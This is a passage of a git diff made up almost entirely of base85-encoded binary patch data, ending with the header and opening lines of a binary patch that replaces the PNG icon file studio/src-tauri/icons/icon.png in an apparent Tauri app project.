zF?C7PlyIWCZszNM!<+Sekl<<<L&YinqD8MxDNyWmXxJ+Jv|0Hmf&9MBxm1Cp7r($=
znNJF4a}m{9`<ygGW5dsNrtV|2<3GYH8Ah43QFly}rq(J;i1~nWg08?}kmV+|LB|r$
z`ehhe;D<*XN-`L$X$-$C08@uURgFPfr{~f3Y@kw){u6*<_o-zAiO7BU12-?|^8L|)
zA1EA)>%OSL*ILj=l50EEMkrJvD=&-3!O|1G_ZWJIG<5-Jvss%XARJDvoEPuk3Iz6I
zan(c+hQ8VYp1Bwa6eL{*0c(X$h6ogpg;z9Obo))KQTmkN!FzJhz#Riww_UNHk60YT
zZ$NlZArGXp7w~_xO9fCq+Od?QG|pQq3Z`!xtW$!ZQ?hK7_XaLA%JCQj6_(IqoJ(LS
z;y*Xv)IlqeAd_^!X7?nMu!-v(L~YE`80y89=FUh~?sj$_)Ws#!E~`?>!<sTFMgEZY
zc`=l7!uLy|2tiJ8dt}~dJbrFmIE$o}&Fp8mAo!&L;(seVFG+_}>EUiZU`SUa?I6Oi
zC>aNpLXTfL+%WKd&3L;t7cqcnj%_3MEoxL3hNJ~*Lk<3+{H?CgJ8ZbhRbILTo(<VB
zlbe#}Edojv7xFP6k{GLfLyD8=dz&MkpWw-EA?Y$1G^~T#L-uBMXheGIADrJT<kX?^
z_+j94NpTPte2y#p`gd2D;tR46Gbi%$+yU)ijl&%;Zs;GvSl$}Sdzei^52ZwVmK*I)
z=WtQy^PP-b#P}cBJ$6W{>CjPrz8s2+()I~qO~wMP3kbp+`NO2~Id^TO_6kK1+P~p<
z7`;B9X$62qV>XS{rOE84yQsDt2gEY^bZYq9!6@V<lUzw@4_ezmNf@X=!G#pnvVBA>
zNk`%)zx}nrYAR2(QFVO8s}^v9XBYFoY^>Spv1xzhvLytY&VNL}9=o8aQllEhDnRC=
zj8wK3F4xNI0G#aX8H*MOng1CeXj*aIEc<RL9FPx?T@s=D3<S`jNM?k_jb>c5c@`Fi
z(E($Y0t$8%Zl_RNkVcR1=}O7<Z@a<)%`ED#L-wafw_8e+VauQD5a6(JsMY0dellEO
z?|+Ar-}TeC(Z(|yb!Hgu2}Qsxh&FtP<k^d!>1&rJlk~&y&+si_R!@TXk#pcn&Nfp%
z-&rC?Vv^Xly$nBKNNcKayzDo^MGGR-xl;B;((HOFy1FoTs)qq)Kh1R1x9SVjLJpEq
z5X-Pgctu<MUV}yRjN>s@-Q1LnpkO^91o_O8>f^EuSR!Ubf@QaXvZNb3@|DG}6;a8F
zcfzCj%w(9%nJ?Dk=_Jm~Eeyc>39A`OLs`bM6bO+@vfh4K#CvYF-u*^h*8hc$e18|o
z<5mPKoqP|mQGI>7h>2Q4CUk&8f+DL>$op@dsrZNXW?X8@NGh{8(cV|&Oly7@=5f{m
z2ua7p9`0N&?QfcuYu;9iu=J{jo!1YMm1;z3@#_;;IZj8Ms#seh-V6Dj==V!0cf*6o
zdtbO)A>WFXDKrh@>04_{Dsk6tc~HF|&tXZ$zz;;Fy>(4y9ruh{6ME_?M|s;aqT7HL
za=d8I@hbaE)79DMVbf{G6J<y}%7wv|gPtW;Wg$DwMAe6^$0DW-HhP!i2c4H#SpMGC
zf}>O7E{X6}A=2#VL?k^J{_jwD7>kLE81CNGt>G^0(%%3>1ddFijPeEaDVkEh-Mhjc
zQdp#vR7xy#{1<y~^C^DwYok00>7@6ypNpPP-)%j(#|N3>-4%TqvKv`8?;>e16$3x1
zzjwQb<)s@T<euM#4evd*1k03<UEzo2_$r);qRdDw+<TS_^Uf&ccu1}@^g`N{TOK3r
zu=yf&8vdsg9djdHCNYf>CoC@(Y1)D8Fnnqf;a8MzylEh%l8xv+`ctMX9ry!Y0QwR}
zL*l6cXm3yp0EKg4C6vgZv6z`XDRs-Wx!%tx*|h@`Il66U3;}fYc0$Qm!tuk%%R`&)
zTwlmUSGNAXtvUEDM?MkYoWT&ZbeMnGOhNH%{X_sM0T96z<*f<4kJ$U|Wk&2|g~}%w
z>R<dcnZiZz-QY*LA29xoY&q4m(T3S8!n~bu_r9VcQdxi&bfL9+#D8RW#1@-Zr}k~~
zNY-v~aHDe9EJ{YVx}BI5Xm`l~;^DhSu;BOQIr==mLWjo*>#(}#KpYQu9Ls46ZcNqs
z??;BNKla`gJ!y(r2P2Sv8o0vow8kK-JX-1hsTR6;bew#lM4SwjV;c*nV`Aauwd2rI
zm0%(hS-7&j=%G@76E6pcYHX-M)~@jjp}fku*0~e_sEN0gJ%mqVntO4wa$&XKPntUO
zR5%n);<mpHTs-OU@+mLiEoN9#*ofhT6+GYb`vi1&>t|lh{$V(g9d#56Tf?)dN<cJT
z+DbD2)sx3G@HsFFn@xfzIc|U=D&xKN?N4*EQcs(nVkBcN4Kl^2XxgcH`35ESuDO9M
zKdOd5o;m@^H`t0CFjHu%!iRw#&5bISvfcs>PC_XqF`H4moyl2PdJX5$3sEt>A9?b0
z3NPg{qp23#0;BzV8klS|9CZ>ayOau{%irGv!i_dM{tosxRi@h@Mch3`8IS=Bjx-a>
z1c@_VC&b9Dix&q$(1u&G&|-?T&i@ry<BJuC5|lbwKiyr5aDsOUW>m;<pj5SRRh*3v
zh_23N<avnSKH%BjdvqBiETY%PeCqOHl-hX*jw$4N&tfQ1&=af9Hx{u<rwC^sv7~G0
z<t6Hkw-Idk`4q7b<o~y-3}sW-^^tOs+*u{HwvHXm18LOi_4{Q2A}a2#sIxQT)Hgh)
z({3hsOo26SoUnuZkYH6290NU0P%m50Au|DyD&)hbbEE=h#{>c_BsUyPnjhvdU)3S)
zSDAKsL}(nzo&4NL?u>gMTDb531D*auvMNfVC=W02!Z_QZf42Sx?tYbfLUhLNmHz?g
z9Jkzph{9j#BL70QR5hd{!7&4bZZKy86YsANXC3F7btpfG-%)Rlz02<k$dn6DDeu++
zEg(7;=j*X*U?}NT@X;oy7}G>Teq1=qCJXv}hun??9OQn?8ZclpGK?^E>Vd$O68CtU
zta8LqNy`l?OuPrV!$Z+ETnh%(y}$Ng&^_*McCvk&`W8jzc!}9b=W_#G<$XL1%c(dW
zK16@(z%mJ8$5TF`scruTNxW3K>7w+f5g7QTB`pQ-K$Za7EcA8tPXQYDyOY^X(xUdG
zii&a7*=dQ!-%CLNhft!hwY!a&HZd8agobwSs$#iY71&Vs&MwCzvK@$OKFz8u(3!k3
zmo7V&4`VHVB6JuQfs@}0aB;5WjK^_5XlHti_|EAh>4wDNv{UlSO7<|sq*2P{@rBgU
z<M1da3QiCUF7^h~lCqQ~`#ccIGgcjmq5@i#B9rVaq3N(hDLWY<OhlKn02~crtf*(=
zeqY|UZ82xmdw`g&7e?g6Si9Vb1o7CqObokRosInWMg7J2z*RuNnMEO@>`*KHwKVv*
zEXa22!zVR(F0#z`Jp@Yo)r*9PkT6`?y^NWdgb$6QX0H#6&|>2nCisSm3eD+WJ3V%1
zX>+^0UrKdO`^oQ{{NekEb57VqD^MX{XjmYZ%!{LL9k4B23at@ekdlkG%ilYB);PK+
z9CLrfeR$c}xAry$hXHJOnKpj^JV}id7vINl!1e4VAO7-ns?bg<E7;sPyK8N{mV6^-
zfgyA`O#Q#8UjRa1lE3dOs5#gj6n`HpC2ze+t_TJ5C!lu;z|!4$9F%1uaA>G#T#oq>
zV;)(Hp-k{4w0L2dvX&^QH8kj67C8eLf9n5}SHsDl0s)h;xZ);CMF-vhZ5fqym<Elr
zMqB7!I3CsX4J@s|qlh2gX49#*3ml-%aj&5fEW$%E+!B?hgh25KhX5fsCb35ArkcYx
zeviZk!O2C11uWN!nKURO6c6uys6Hi3sh#WlQNN4i>43Nk-6s}s7)F~mRH6oBAt!4}
zeoK}TjGdI+_NlP0vu&#gBD;U>5mBcth(~1u{Yrl$56yEOa$b!*mV%WWQI`B}SAS97
zKtV{F5j}i<ib};$xfCuv@+VTqq1J}``CCDv1CJpLg(5DO?X!vAg6X!+&uuX;)}UrI
zA?+{n^aCmfn>^hAhKn(mUxbP6{pLPAdYUkb<D-gDh~!l=Q8X{Jk<m$lCDw!=#SH~!
zx6Iz-Okct26XH-iNwuE@+#K!c!Oyq^^FeY{eQXeu0F_S>APiJ~q9i%Baxa~;t8m`l
zC8L6MQ5&8+jBOujIhE{aNJFs0=OQl0@``_;%q)0kU@xO2ccZ^NzsH1EOnWtEheRN=
z=qZir*6N`bqf_9z_8GbzHvilT!+652W#cP%LG0PWK&3<f%=#IT+;`E~=9{9=D;q&(
za7|3T)wS&0-Uz#s#5R<xnui4Gt|aHaf!>O-=p5B+=j%7bxDWUcB!j|wP(G_^H=g`9
zQ~Z7JnMD75<s@Qu78iVv*9Z!vZOjH%kpu+Ep04s=dF*8j&fB@#Tl5rz%naUyuf=-1
zt>D%bbQ|fm*mfD~b@72%kWhOn;E~biIxO}T%GPMQLEx|DqdGQ_1hmAL=(p7101XgB
zgvezjn@KR^)$f}4ZzbSNj6@|>-#0XG$VTT5;}Lamd+U}=d$HQl{>nYu6S99nba3El
zhwDNdDV)(^9G7U2umttJ1MdytlL&d+PZCGb#2|0vc`QP=2O`*t4eovj+#vZ2So9%E
zTgQHz@R>w<BY&wmQ$zMHiwp4=Srwh>skO;zEIgusB{GEt%XWB4_dR83SH@h8hIhx5
z@lVA@Bnd)3#TIRC-U({Zn_LBvU1S<DpACr{oKM@9vwP7NNM#foI&5lc%U&1ck<GGJ
z1?GkgA@q8W5pTShmC>g6K$`Zwj7Y()L80|Ym)tS+3hf|49aFRR+yq;2v%XC)c$dk-
zW~f3N#a`b3W?oOLGxR~=qDiPs?2eEHAr?^;?oNF1!W4`(PgnPLcq8yUH(4UJxIm@j
z47Vr1Ox%QL^%|u8fd-S1h=GIcH`OVzsK{|uF`Rlulb&}sV`5RF3Vc0M9$bk4CuqRr
zM<nKIrlY{6#CoWD5tiA-?Id<M^G_)8kD=)ti!~w^CRyI}KhP6KoXN0Mh`o2~x-Yk^
zf&glTqGX5dK{S)dG?qRA&bmsRA{94LdHG1jI-9P>2;vd1!MA@PIX502TCllQlHa##
zcx`+cxqq+E=ONhwV5^=%7=ZYwyw4l6&E?qL0_y%S*V3HAc@V;Lo&QSZhGwX|4D1_!
z_!CNkd(2JCz_gz3$u8(EVT68+jhv^Rh+^><!0@dyvQL=4l0`X+Kss!LDoh`50_U6B
zBxyK6f(Hol=~(yfL-mzrjV+~CieSn1rHwP)&(!2qIZn5Ebr0=1rZhbNx#0*VsVtsQ
zY+s*T0esljXRPrGwZM8m^&eku`U|?T<4t|$b&gfM3T@u|wHde8J_TUytbdvP+bte+
z>3%6DXV0Tw?E7BVv*Z>unR{8953a6zSac!aSh|UHZ{H5vV|uG^Af+V1Yxe0TmC@$w
z+;$VhQpuB;@2EySb>quFSl;^)Nfgpz-wl5Ne!c7{k5KSr-Sr70%S#$WOzoc2ddbZC
zca+4Qr@og*pX5FpIy(>=z-ffXug(4f;ERV<=_v%LD8W>jZ|i<+p299KQ#noGiDR>j
zShLM=!orclIh`3w;iZpViq6n`2@z9G<0(j^o6g>li><XyE8`_scM~e(*P~4v6QnY%
zJ(=%so{jUoF1&Ichtcs%0mG=DBCCFfBJWIUO>Fe~)NlmI^O9Y^Lz8sbs=VF*!j#U5
z>5t@(d3}rR0}vM$AK{?+BCS+)J6lOE4^0f(Asr={*P6tdD!+g5T+ZOoh1!KgBA)Ci
z?Bd;wzdf@$G$HqdcK;n<nRopBmi(xmr=LCxgxZ2O#M{`0?Dy#ZEw&eH`~@rT-Gj9M
z?#{JfW|arpsjBbXY(E!GsX8v+c4;$rMgMZ(>vkp+K;#5zhzowUYPLABvF5`9gNphc
zyeaL>r_vfRrCd~~Mi*G$1i$-1*02M;+}bNMBR7@#M%#*M{u5FH%8ud0-bt%-XQon8
zTr9WSSJ607^B>c0DXe_@dILI{*}A-J9?U&jDUTptD*U`stl-p@fp(L9i(NzB6m<k3
z>;J$wWMBX8j-(_QsfY(clS4DVP`9RrvT*xj3Qf7EQ>KF(##d^5r+L3Ky7khb{xdR~
z<w5QJCGIdo!)^3+7RM7OlONmJWRl?PCqxJI+%icjsBrL0U(UnT0*f9wdsYREHH5oq
zQ-!AmY2o-1^}JV}1T+FSd|x-eXET_*ZTp?ks48#Ww`rwzwsg=cDG4(37T1vhZ9j|1
zR@!b0Nlms7QI&F387c+nhnju+Q&Eg=bke#FMDC+2FTibRdqy^*5(x#;YD10-)dq|Z
zQj+#;H$hB|;H;4Qpr-pQQT)VA(WpYKfCJmv@xjmteo*;$O7r~iSmht=wNelYMQp|x
z{EA3gnZcQc;U>%kBY`nOP=|jsvGBD%Atb1}b`_n32RR%~#55RY6XJ=3NgvN~Ael~#
z9Gd@6ScuVy>cbYI-7X(kTErX-zZ*VNbaJ&nVKk+W6y>vDCGQhiH@;t1Eq_~0V$U9>
zMWEs^r7#u35bU2v*uLGV0Zsuazr;Z?7H(5y8lTjA#nvxCg;HRHltBu41ldhEEMgld
zuWs&atS!EwCX9a&)Pq;T<T$^J7sl2}v0QG4;3)aWKdIgho1vH_sCgY$(6_p1Y_Fo;
zP<G;obor-`i0*^TpCaM|f^axgCS=-FH$4`0Ztv1&xt%n|E`+%yK{Uqidsc+%27RpY
zKNfAzWnzA5l}{MUTx6lwA8UYFe-Ki1w@{`@A9$U@@kC>{h}U|6mYc8||0?VIpSR{e
zZNSAW5{@YIQXJ7XW>q(0xKapAOYei0Sj00$PL?6JbxB)~_)P928^UuhX!V+FA*`E6
z`^^gNpPLoJ>z;4=Kucg|a#qDR9q~w`PU`wq0kO3N{n(||nPOon5f}!)tGGbB&@H&@
zp@zUR(ZIxAvpVo!K&#$EBtD!)Bd8ufCX(0Z$DBs?s9WQqSFPN6q27K$K?(Z#?-<L!
zyY+GbwB;#D)tBRA`yJ_^pHoJ!5ArZ$y;Hoe7Scv1sQmOrBK5-~>!OYQ+ABj};Bf?8
z(g*Oh;?z`jS|24vnvuSNF+gS>5kuBLZi+@Ej3&PNz!R6({<+nf1nshbDTsy(kZkH}
zh9_2m-eVQkwNf0fZ5ontz6nJ}d@Qx)&79XF<kD2)f-DR;PX*d{YO45Q>d>Wl5}I`b
zYgfq$d_}?}EZJ&oR8{NOX#>UVOQAdQ81c-GfFJD+4`r2^XU5;<wFLmN#&gRUb13L}
zkz6zBvt=)qz!roU1Hp4Xi2D0f@=kOiXX8*5%4+k~#Qm^S4-DnG)h{XREbw2tgY6XD
z-NfA%*Lk8$CX4r&T7Co<`c5CGfxUDeC@@G@zskwPx=03ALPL=1Aj%i0rW4NEyl&`n
zx9c|Cl{We|LENJ8x!@*t)V?;r4J7c7(%?za&br$)Ym{NU)LIDRd-FUd!tO3U7uHsD
z7*?%|o5V);aR_iDPOylSZcE6q`oN3>5cpV#xZWZAPTykGZf0;=F_m~$B`|i;9REdH
zPHL|Ae?C1CN3(sCm06XRm7_Jgo!mM3LJ$v^q!p6MHYOr;;AEqRFyJZOppm-)(vT=9
z_)nGi^Zj%7%k$l)UKFWsM#%QuATmKBLKv=nV+JpXVh@PL@C}sxw^AmKkNwJU%|=48
zEdqx84<`OVJYskF>!43C;G+iluB~u^3ZI%3`vpONP}idY!0|A^i>84W6i>GE^KpyZ
zja^jSt<qJ-tV9$-rGwgBGTe$_C(AJI{+nwS_u{vzT-Cmipw$|;+b{$7?q4kP&(^af
z6v$fuo1ifS(BJ{x-G3rU=72y>!^VACmSw@8V!3*Al)^6E8k5qQzHj^i*Y^FN)YHN8
zx5QF*zLz8P%s^jCKZUD+U<Lp+whY#))xbq=0Fr@^s7zEGh=*Z9DRYCwpNx|Fd$(UA
z-w^qKp0Q(O{<09<Qjb4Kg9#;UD6b*tXMp7-zgTxcTNwj(Z1RKy4G9syI@HX({xUTo
z1enMc?-}Vwf5kA3CeC=Na6L!obCRYnm`jQ*M9`Zvix-zxhwjqu61y;+GuO2BK`otd
zzB1M(5+HxZsbyY!61nGJegq-{R8`Yzc__Tu-=7Nqg1=|Bd7BpdJ?FyJ#e-aztAr%2
z=$&^<rTSG;)JsV;@~ClRtR+gE-33`Eg^pQp&ljM~Y&GI+3^h%kwpSMir`k$$eOE?u
z>IQx$mzAF$3Je1vy6aMcOW#zu%tuywv1n!cX{Sm&=GqRRgd^JtyPsunC>Se~IQ8(5
zUG{pII?>q8jq+|X!(6{=r@l`z?cF$iX!y5!Tg%Kk>pa79PB@RmU;|f{(_RLh7Lu=Y
zNp-jzzRYMy<wS1f@T1L|0aRZwb%m|DM<em5dmK>4YD5!C`5I4m$uoSd6Qz{=Fbz15
z4fkM#puvv$xd-zT_24$l0gfmlx8VE=xTItFJNBiw4o{RrJW4=&bmnuj*fYuQr_*k8
zQHZRmTTk58&zljMQ%p|Zlcnl)jZ2hN7h*n&)KH*uE%-COIv=Ge(oUIkM2v#|&NDq*
zIZY*pD}${|Xx{FwC=hL%2R!?nK1_;HtWUy(ungYq-0t3JQ{QD9lK7#dDW6^>0>a=A
zXbCfDYp9u#cH7HKfAVsl0=1c6*LWi|9@*s)D3(L+ms}TV5}bII;^NKI+VHK-TTDUm
z!l^D)nYtLC&jE$e#03dDLnRWDtlv~NMv?yMG4J8(zAV+9R#zV}7d2Ml^>f<*@As#i
zZD4?24Tw|)pNjwV*CG`^l$oNgl1FnOe36u@YbQkifxH#~E}oFmUJoPycM$#^`P4)b
zvLs#AwE8-IqEKm|@i{E!8DkdoH@jaYtn^S9i%^@)eNmmwxWBR!Bv@fiL^qZ<(kZ#-
zdw*ZKb2RF7MXc^Sa^rDCe>i1ZMH2j^FDl@aEOZ@5pOR!pB;wFqll;~WQewU9l#GwE
zM=w%uW+ZD?zrpY1$C6+`GwPmgb9y>8=)LZY8^$LPRm@CNp4t^@OhUWroLp0u7vP9K
zC>>AeUoxU}aE#qZ<CYn61iS!F#6?bCVgGP%;%vc|Ub=qIaBKRVAgRzwRmbHfY_tEM
ztJL<|%M}LkGY22skhzDElhv|fo@`^D8<+mrwJr~gn>Js$M8enVviHZP2)}3+DgVf;
zKxu6f00>tk#l5L3&QlHM5HI+c&96O{9Jy}?%xkM1w|=7!J=Q@h4rMl{v?GS^0Y9*G
zpL};u4e^X*6r=SI5E7|0MllF%e?f#DOtD<#UDep;_HDhh6gKE30=eR`W{KAtR@cB@
z`k^l%K~8tdZ%Z{N#c2s2-lO%q>yRjzMz!<QSeNR+39d8jDQv54pxDF`U5xPDOort*
zh4Idu*=HUV6WNnz@c!m0PQrpfXWq!kCJ@_jUBg?hs4tSYJ_1gK3M_}K&F3lkha(VE
z%*+Gxyaf-AbqAHXJ|22`o#Ol)-puvi&y2KW)?!z<WFc(%kB8qAi`86-ku&H3&N3lJ
z-Wfg1&V{8fwitvEp3121oNkt8&zSkcwWJczXd!2(FiK%Le1w&y#-*4_P<{2(RHCZl
z(&PE7xH7dT3iKjGwO6E@1^dS`XO5tajSSy=8FB7jcLPaJ#-*!<*xlXYvF_*mLnU_3
zetJ!5(xY<*6(4Chn8*`rwAfPQ-W5&fxPVi@rCzO{G)Kxn1_PQ?NX(?(Q=R3v?%T@%
z4qO!G_nA<uf7J{-59ZXV%F%roBhv8@2H}1M`7Pad?J=QZKxPxH&hpDXFvRm{S8twY
z;(1Y?1QPCvOyNcxo<ZGnT|iP6k_?aa&IV)|*O9Bx=lt>n`*yK|_3kA{vk(`8Uegdx
zl-kvjQy2e=-aa@oD?TDDP6-lIup~>a<{8g3I{7!Fz|5l<_O)X-S&8rOwcN{XYd2Bi
zpl`>X(BzEktH4Cukc6K2#+?9h@T{VL@7zbtqrcm(S_&X%+(-{pI(>h$g_KA9wEM?a
zzAsLnq&rn5zj4%#_b3g2u+#!4i_gSMazAXcA5u2Yy{z)scjkox-UwDFBrT5sWTRiN
zph&CP!$LDI5u~G|+EBK(6!R;}_ESmT+_3cOd^2tsINAIinL^c;Y|~pGkwrGOQQ&8I
zxU0QEBhfTeR@HPh7kE3B^Ar$k8Jn!0TJV*@C@Gl%rKa8Fve6`D+Y%?lkE(ZS^6q={
zOlQHWtw(-8PMDtpjd1_M2C~o}f8&qqK8$2(ghPu5uLXH|j|oRh<rP@y1Ye25Es!O^
z?6ni`6>zd!TInbnfXMRoVK;^j`t7U&T9jl$S<rLkfo5%fQ_+|z*Q&EnwyqIhI5;9{
zf|+%QFbzn7v9lUAnr8HZyMc_?jQ2=A5fVAOz0{#T0*&<Li0%yfIfbxX`n=dezgkvV
zZ>|-^3cr12-khQYi>Wn{U<G;-?-bpYEAt8v*SF4c)P(jw2F!mve{}Wp3z40nFcCR5
z34z#BC1DpQ_MA~BHNP$A=J*Q~X)Mh>J%_$ua55<tjsFoqwi%zQw6IQIl|3cvKKcp2
z7G4tO@$7OgtNI!UNC0`WKL`|@-&NxA5;d;=if}?q7KJx+0^jxQpUy+}NtOHJF=<HN
zA|ait4UuN<P#lQW{8x0*@nwrD%~{Nn0?p>fGVyzOlHcS)w>L(zd(APu6(KucCNntu
zc}f94EG1yL8be}GPmBrlz`PjrG(eC*pk;6wb4Sf7&wQP6mR({_-iDl<`}Fv|bwe@J
zK1CHK0|(H^Og=#Jri=k457p`8)%Da|$j#wqJ586<c!xS)b|s3<Hm&n|dzJX2#s<QS
zE;f|LfQX67>9ZXumxMGTs5!yPK<1M7Y#u$}ApYNe(?<P-tmEwdX>z$}+(guS5N^!r
z)VR~1uiu_%6i*k^DhKa`K6)(OmyLH@Rn}GPq8F0Xc@oesGcK8YL=P?(Mxr%M)iUN2
zxH_8z5P2(9b?t^rXKZ70W0?wc`Sr(Cvu>@&kcV=|GX6XGb+U(nv=Hq_?;|@fSV8cy
z`75JVY59L%6Ey<Y7qmexCsk8n3zt6bCZmv)NwX%V3Za)>*sieY(mn@oLqFXMFCB}U
z`9SpBBjCWlE0beyPX2BLj1YjgDl^WmCW`4I6>nP|SeMaBvdlo2DKz$(HXUut9n8{S
z@l#l^rZmldYu%)Om8zBBW=xoS>M8;=Cfp?5=pLi7;QVRl((t*x@D+9EZK{60k-sPg
zp?m3vZ})z<;l_SG$m4j4j~lVZi)`fUc7v0=>})5q-KK;fN{k40^D14F`8Y#`;#4iy
zw(sS@IY0b+)T-D-zgV-?HQk+0K8gG5ca`iIfk&BK%vYSGd+3HJhJl;a%i^r{S@`pX
z8jafZe+l+4nHOP#lH4OAS1?qcH-|#<>%!izyHJ|*ljJD?P~q7*+fG1CfQV-0xQ9>6
z;AG8U4*7g@r*85Ls_4h;OI9AWWH^EUUL563RQ_K`cyolp!?$jouT89X4dHx*cRG1&
zrFOw-DyzG@U!z@QWxQK=71i9EvqzhPgROT__1?-Bibep((~L3V(uPfucm>BW%R|~2
zQg8i*c-^ILkp-#^rKnO)BohtdvmkkAxStzfo#*!3$JHZrBmfBOa->+^&YFTSsp&ij
z2oqR6Li)lk27`FaG-0*VC0(=EhgdtxEOApPhyhRAKlY*Ph9p87h-gTEJ<3)tfXrrz
zH{S{jwVjwe;4dY)TAiw7@}FL`6jRNq;{j8n=O1HS)iGA_`dAC3wHE2VUE^6w)vPKy
zz0LIrr8!T-^|)pni_@}Z(iN?@S3KgI)$>a8k|xOIp6uX8v-Bi*ZyKk%pO?&=7kS)!
zD!2=88=#8_d$s(?5`2~zxzjMsj~Je@Co`^AAvs=aRF6$^=F8}gs@%`dxL$Nsv-I7z
zsy*R~`dYDy%G5JE4|l6AXSPyrJaS7!?8Kq1k`w!1=&e+e4bzVv1c|&$EDdyWf1xJf
zpO<b1#sN(@8J}|B{skCek5DwEG!}zx=JylIyHx+RrfyP1hd~2IKSrI^wrP^kCx2Pa
ziw_D0Uyu-U$_wxneqwLjZ+N+7kq&X`1kT6Pi{VG{6eso6$VzE29uIVhr!^^%HuTkg
z&Ti(993=E*-o)nV+}4r*g{1szFW_{Q-`UU&+Px7D>MbTpT6rbm`CpZdH$cQ<P4nLz
zl6G<(U2j;Yu-mB7{$t&Jdj4;A)geL;Mm9kf8Q<D41-yXl*);BMe-ngYF}@l*nZkhR
ztG15~X@4<a{(Q00IWPULrK+ZJ0<>Zi^XH@WF}#MNklDveUwD7`DqwN=ed%fk1+$Oq
z9c06nB$jn1Bce;_T7%%0q$aZEB<J_a_;30ra`BM0YiaKbsp_o*(<<Ol@FcQjODJbg
z@8b2jlaxQ}Pfqb(xxsu-ryakT2t#+|0uJ%I)=)iYtqzL!QLXA}SMExKPP*c&ZOaDa
zb-IAyp?CGKN@*ty;SdZSM08grAWb=&E{$3#vl91_ICzPyl?Z>+I1-Qt_wU;3!RNJg
z%kEQyOWSeguAFgEq{Cjorw;M#6g?)4-k>N}U$^d4U$2I<$3yCU-U-4J%<%qqnKLJj
zjqj=_$b=jOOIK}W{bhz1Sr+^eO3#A}t)4qV$lOLh4LluoVx<&qH6GT6tOF%h##5|1
zQ*_^%y533XhI>toXIu6`F*#iUsUq`jbYR)r_wcK&hc$2J(1nyq!V<1yCSvN1Nl+D?
z&e<|tLE_dA%f*>FlbmivUSVvrwM7`wj#i(Du^fJD{1>6No;l1Y3Z8g$$DDBF*oogx
zCY9@z51>ovX&;Rm80@{w_Y<=*rQH!!f%sRm$yipaFJ<-h5%^o+$4)xk+RsQ~I&NrS
zI{v2o!MF0)Tq51RNO~Bu&ClU}@F8`>B*HET4Yxdc%LVMPJfcn2<`sWMT#Nsj`9rJ8
zj(e8otx@)4mimnc#JGzGbn6f<RXa_RlOVfXX5&GPKuEQtV#yxU=0q6VIyF8$kYM=M
zw{F=wnNv}%Tz%JvdBHnhP$wGp@bK|`+Ni5(!oK#4S>E`^@{CP|jEg3*KZ4!c#0V0^
zf@hLfl*Bd#LG!$bqs+4nVo-2gS2HEM<pr^$Ne#s;uUa9)7^b#iyL3t_c}c>k<5c!<
zSv``$wg^paAUUYUIYO1Hyc81`g9FXb;?zCO5Yfj?45TOwC&*v8%}lvQ)FmN!ES<RJ
zicO7~9zpriy*5Ta=SyIGv_d07vm5zcbzF{>?uu$=l^vG7!qGkn!jtzaSa4z;aRVdD
zf@pT-Pv5we^uM>XQq15X47JcN@6R?{tl{{CbZ+mA07H$|30LY}*8-ZpcKyqx->Yro
zmblt`zQG*V>w^y<a?czwxZpk%btfshC;__R{$SLIoQ2?G8AQjaj3;RHoYE2eX3%x+
zqc}YL_+Mw8j=ltg@O~;{PJ(~AyWLNqQR*m4K<8s2dM4KYQFb>8YNG|(?*9KM!u!8J
W#)$R{xljq&_RAOaj{moB@P7dEKw~lh

diff --git a/studio/src-tauri/icons/icon.png b/studio/src-tauri/icons/icon.png
index 635900d8a7edc917157d5e1ac9552763950d128f..7837ab40ddc71aa46120c959913a6172441f1428 100644
GIT binary patch
literal 42705
zcmXV1cOcaN|3Bw!nITEeitP9xk)wgK_nwhtmObxmGRsP4$|`%0ILhAHo5*&yGtS-p
z-q-i{7w)`YujlLa+>gie9j&FIe2wxZB?tt%_Dto84hRGWeg%WbNr4|HKI4}lP{GG%
zPZafhW_Pp5GWFLcPS5nLBE)}<%#Fwz(LtyLij1PCP4g-{c)C)H?)74VT8mS83XDEX
z=RMOCs)W8{y53w=1Rc$|zSZ(;;OvS+CTzJa(|u!6w!S1~sTU+ZFwnRm?~iJkvXEUG
zWtU$3xKvRnSt8UY*gq`1oB3k07wf>*Us<>JLiG%DXYWOH^LF$1>}E>$w{PF7(?JyJ
zyz;85s(uDeZ<nd>ne3NMq`d53=<YOduxv=6n%}o~E}woNVZR#B<XAXug1H#3FFYR3
zOo}H$Hk3<>lo*yfy4XG4f8LMU35v?z<8#=+IdY#pV%qq-KK^@Eh&%+^5eL=Nb9wXT
zWhiFtCX4;Lthg9&w}5<UPjA)_&#{6nHu>6=EhX~NP>`J03+qrn-?ea=3t~a{w`7g3
ze#=7$%WqB=fS5&{-`c-rg)J{+_Pz72GjM@>FBGsJ?+)a+G7%NEpBX&ZUaxDsNC_1b
z-k8pOE*n<WN_8IYw+oyv>^cv`)PY5BeR@vD;6kSpoq6~@Vo3p$s{?^j-)<?ea0p$;
z&Pz+pn|C+Ew!Y<x0z!XfXBErX<HFzYjx(us>5cT7<dBL6=>?B=ySOBq>iK?Mn{C{i
zySWk)#Q5-02$cL0X(AEdoswIQOlY^xuFNTeEZ<)@=|PcIh2@S~>6Tt<8ZK+Rdvh}L
zB)CgIGlEdmJYbim+@rX@=gp$_bA4$BnMZS;GtWSo73DP+EnhOj_Kz}eaj%L_u5tqM
z*b>oCFRQc}6>|P?oahpM;ixKRBnZj<JClL#A0E7DWqh8w2Zq0RNJEf?nITwTV;Ogj
ze%IG*kaLx!DgFucUjVvb^eQvcwJ8?=T>AUcGf^ZIST`ZK&$x{1U;~wsf;aO&(loHU
zMf6JUQku-vWlvKZ-CTlH5N#y<<L)<7rx!MD0s=wRM_+SV(^w(P954Y9K|xHx+Fy%(
zFr2Jq0N6XE!jMa>I|brmUTM<_LzyC%66+wjwkM+f$8V`{-Pof5maCoZd?vyTynfd9
z^6ZbLtUw+1_31ObtSE|HVXJ6~x^Hl}WrhUT?k7W{NC)8*r@vuY*|HL${|kPp(L{&H
z>>6J3cpkqtzY+pxX$d22N+&__QQIK}X5sr&GdsRM-z|WmZK+jPYqDwe>CoUl-t55j
zbD9Rh)?cfETRoZ(Ips!TXY$Rvd(MZK-p4Cwb{w{=$*%O1#p?Y|(fKILbPI7{YsIL?
z1@Vtv?1q-}l=5Yz*aJ7o&;vVjx{;s;68Si`w5#b9EPOizSrYJ1&{m$@c#NA$%O#0S
zM#P!#Qnrt`KZ+5tQC>9GP_gDYG`~T5c8z(<j)8FautboY2Thrw5z=Pt;^AU-<l>UH
zKLn8t|8?};`~aUG@=rZH;Sg&6Z%z$%WAyAx^}jg`Ixbz;CjVmi9mjAsXNUGCf4KqO
zkU!%l>X^?##kSvzxp;wlBE2pB^Ym)}!>lFY$R!2^#Pd<hXA4owy3e>l`CnY+d8DUq
